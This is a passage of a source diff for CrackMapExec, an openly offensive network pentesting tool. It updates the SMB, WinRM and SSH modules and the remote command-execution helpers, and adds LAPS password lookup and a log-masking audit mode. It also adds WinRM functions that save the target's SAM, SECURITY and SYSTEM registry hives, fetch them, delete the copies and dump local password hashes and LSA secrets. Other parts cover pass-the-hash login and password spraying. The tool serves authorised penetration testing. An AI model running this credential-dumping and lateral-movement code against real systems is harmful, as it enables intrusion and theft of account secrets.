cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
@ -180,6 +191,11 @@ class smb(connection):
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--codec', default='utf-8', help='Set encoding used (codec) from the target\'s output (default '
'"utf-8"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
'again with --codec and the corresponding codec')
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cegroup = cgroup.add_mutually_exclusive_group()
@ -237,7 +253,11 @@ class smb(connection):
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
try:
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
except:
pass
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
@ -293,7 +313,7 @@ class smb(connection):
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
self.args.hash = [binascii.hexlify(hash_ntlm).decode()]
self.hash = binascii.hexlify(hash_ntlm).decode()
self.domain = self.hostname
return True
@ -361,11 +381,12 @@ class smb(connection):
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.password,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
@ -379,7 +400,7 @@ class smb(connection):
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
self.username,
self.password,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red')
@ -397,35 +418,39 @@ class smb(connection):
self.create_conn_obj()
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
if not self.args.laps:
self.username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
else:
nthash = self.hash
self.domain = domain
self.conn.login(self.username, '', domain, lmhash, nthash)
self.check_if_admin()
self.db.add_credential('hash', domain, self.username, ntlm_hash)
self.db.add_credential('hash', domain, self.username, nthash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, self.username, ntlm_hash, self.host)
self.db.add_admin_user('hash', domain, self.username, nthash, self.host)
out = u'{}\\{}:{} {}'.format(domain,
self.username,
ntlm_hash,
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
@ -439,7 +464,7 @@ class smb(connection):
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
self.username,
ntlm_hash,
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red')
@ -560,7 +585,16 @@ class smb(connection):
if hasattr(self, 'server'): self.server.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip())
output = exec_method.execute(payload, get_output)
try:
if not isinstance(output, str):
output = output.decode(self.args.codec)
except UnicodeDecodeError:
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
output = output.decode('cp437')
output = u'{}'.format(output.strip())
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
@ -636,12 +670,10 @@ class smb(connection):
perms = share['access']
self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
except (SessionError, UnicodeEncodeError) as e:
self.logger.error('Error enumerating shares: {}'.format(e))
except Exception as e:
error = e.getErrorString()
error = get_error_string(e)
self.logger.error('Error enumerating shares: {}'.format(error),
color='magenta' if error in smb_error_status else 'red')
color='magenta' if error in smb_error_status else 'red')
return permissions

View File

@ -42,13 +42,7 @@ class TSCH_EXEC:
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
try:
if isinstance(self.__outputBuffer, str):
return self.__outputBuffer
return self.__outputBuffer.decode()
except UnicodeDecodeError:
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
return self.__outputBuffer.decode('cp437')
return self.__outputBuffer
def output_callback(self, data):
self.__outputBuffer = data

View File

@ -52,7 +52,7 @@ class MMCEXEC:
self.__nthash = ''
self.__share_name = share_name
self.__output = None
self.__outputBuffer = ''
self.__outputBuffer = b''
self.__shell = 'c:\\windows\\system32\\cmd.exe'
self.__pwd = 'C:\\'
self.__quit = None
@ -174,7 +174,7 @@ class MMCEXEC:
self.get_output_fileless()
def output_callback(self, data):
self.__outputBuffer += data.decode("utf-8")
self.__outputBuffer += data
def get_output_fileless(self):
if not self.__retOutput: return

View File

@ -76,13 +76,7 @@ class SMBEXEC:
else:
self.execute_remote(command)
self.finish()
try:
if isinstance(self.__outputBuffer, str):
return self.__outputBuffer
return self.__outputBuffer.decode()
except UnicodeDecodeError:
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
return self.__outputBuffer.decode('cp437')
return self.__outputBuffer
def output_callback(self, data):

View File

@ -55,13 +55,7 @@ class WMIEXEC:
else:
self.execute_handler(command)
self.__dcom.disconnect()
try:
if isinstance(self.__outputBuffer, str):
return self.__outputBuffer
return self.__outputBuffer.decode()
except UnicodeDecodeError:
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
return self.__outputBuffer.decode('cp437')
return self.__outputBuffer
def cd(self, s):
self.execute_remote('cd ' + s)

View File

@ -70,13 +70,13 @@ class ssh(connection):
self.check_if_admin()
self.logger.success(u'{}:{} {}'.format(username,
password,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(u'{}:{} {}'.format(username,
password,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
self.client_close()
return False

View File

@ -6,9 +6,11 @@ from impacket.smbconnection import SMBConnection, SessionError
from cme.connection import *
from cme.helpers.logger import highlight
from cme.helpers.bloodhound import add_user_bh
from cme.protocols.ldap.smbldap import LDAPConnect
from cme.logger import CMEAdapter
from io import StringIO
from pypsrp.client import Client
from impacket.examples.secretsdump import LocalOperations, LSASecrets
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
@ -24,6 +26,7 @@ class winrm(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.output_filename = None
connection.__init__(self, args, db, host)
@ -34,10 +37,16 @@ class winrm(connection):
winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
dgroup = winrm_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
@ -49,12 +58,12 @@ class winrm(connection):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
self.print_host_info()
if self.login():
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
if self.print_host_info():
if self.login():
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = CMEAdapter(extra={'protocol': 'SMB',
@ -73,14 +82,15 @@ class winrm(connection):
try:
smb_conn.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
try:
smb_conn.logoff()
except:
@ -95,6 +105,40 @@ class winrm(connection):
if self.args.local_auth:
self.domain = self.hostname
def laps_search(self, username, password, ntlm_hash, domain):
ldapco = LDAPConnect(self.domain, "389", self.domain)
connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' )
if connection == False:
logging.debug('LAPS connection failed with account {}'.format(username))
return False
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))'
attributes = ['ms-MCS-AdmPwd','samAccountname']
result = connection.search(searchFilter=searchFilter,
attributes=attributes,
sizeLimit=0)
msMCSAdmPwd = ''
sAMAccountName = ''
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for computer in item['attributes']:
if str(computer['type']) == "sAMAccountName":
sAMAccountName = str(computer['vals'][0])
else:
msMCSAdmPwd = str(computer['vals'][0])
logging.debug("Computer: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
self.username = self.args.laps
self.password = msMCSAdmPwd
if msMCSAdmPwd == '':
logging.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
self.hash = binascii.hexlify(hash_ntlm).decode()
self.domain = self.hostname
return True
def print_host_info(self):
if self.args.domain:
self.logger.extra['protocol'] = "HTTP"
@ -107,6 +151,9 @@ class winrm(connection):
self.logger.extra['protocol'] = "HTTP"
self.logger.info(self.endpoint)
self.logger.extra['protocol'] = "WINRM"
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
def create_conn_obj(self):
@ -138,10 +185,14 @@ class winrm(connection):
try:
from urllib3.connectionpool import log
log.addFilter(SuppressFilter())
if not self.args.laps:
self.password = password
self.username = username
self.domain = domain
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, username),
password=password,
username=u'{}\\{}'.format(domain, self.username),
password=self.password,
ssl=False)
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
@ -149,22 +200,23 @@ class winrm(connection):
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
username,
password,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(u'{}\\{}:{}'.format(self.domain,
username,
password))
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
else:
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
username,
password,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False
@ -176,20 +228,24 @@ class winrm(connection):
lmhash = '00000000000000000000000000000000:'
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
if not self.args.laps:
self.username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
ntlm_hash = lmhash + nthash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
else:
nthash = ntlm_hash
ntlm_hash = lmhash + nthash
nthash = self.hash
self.hash = nthash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
self.domain = domain
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, username),
password=ntlm_hash,
username=u'{}\\{}'.format(self.domain, self.username),
password=lmhash + nthash,
ssl=False)
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
@ -197,22 +253,23 @@ class winrm(connection):
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
username,
self.hash,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(u'{}\\{}:{}'.format(self.domain,
username,
self.hash))
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
else:
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
username,
self.hash,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False
@ -229,4 +286,30 @@ class winrm(connection):
def ps_execute(self, payload=None, get_output=False):
r = self.conn.execute_ps(self.args.ps_execute)
self.logger.success('Executed command')
self.logger.highlight(r[0])
self.logger.highlight(r[0])
def sam(self):
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret))
SAM.dump()
SAM.export(self.output_filename + ".sam")
def lsa(self):
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()

1152
poetry.lock generated

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +1,6 @@
[tool.poetry]
name = "crackmapexec"
version = "5.2.3"
version = "5.2.6"
description = "A swiss army knife for pentesting networks"
authors = ["Marcello Salvati <byt3bl33d3r@pm.com>", "Martial Puygrenier <mpgn@protonmail.com>"]
readme = "README.md"
@ -52,7 +52,7 @@ cmedb = 'cme.cmedb:main'
[tool.poetry.dependencies]
python = "^3.7.0"
requests = ">=2.27.1"
bs4 = "^0.0.1"
beautifulsoup4 = ">=4.11,<5"
lsassy = ">=3.1.1"
termcolor = "^1.1.0"
msgpack = "^1.0.0"
@ -64,7 +64,8 @@ impacket = "^0.9.24"
xmltodict = "^0.12.0"
terminaltables = "^3.1.0"
aioconsole = "^0.3.3"
pywerview = "^0.3.3"
pywerview = ">=0.3.3"
aardwolf = "^0.0.8"
[tool.poetry.dev-dependencies]
@ -74,5 +75,5 @@ shiv = "*"
black = "^20.8b1"
[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"